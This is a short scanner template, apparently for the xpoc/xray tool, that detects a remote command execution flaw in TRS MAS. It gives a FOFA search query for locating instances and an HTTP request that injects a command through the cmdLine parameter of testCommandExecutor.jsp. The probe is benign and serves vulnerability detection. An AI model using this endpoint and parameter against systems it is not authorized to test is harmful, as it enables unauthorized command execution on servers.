trs-mas-remote-command-exec: 拓尔思-MAS RCE

id: trs-mas-remote-command-exec

info:
  name: 拓尔思-MAS RCE
  author: xpoc
  severity: critical
  verified: true
  description: |
    FOFA: app="拓尔思-MAS"
  reference:
    - https://mp.weixin.qq.com/s/VECQ2fn7PptQHsVkNo8rQQ
  tags: trs,rce
  created: 2023/06/22

set:
    r1: randomInt(1000000, 2000000)
    r2: randomInt(2000000, 3000000)
rules:
    r0:
        request:
            method: GET
            path: /mas/sysinfo/testCommandExecutor.jsp?cmdLine=type%20{{r1}}%20+%20{{r2}}&workDir=&pathEnv=&libPathEnv=
        expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))
expression: r0()

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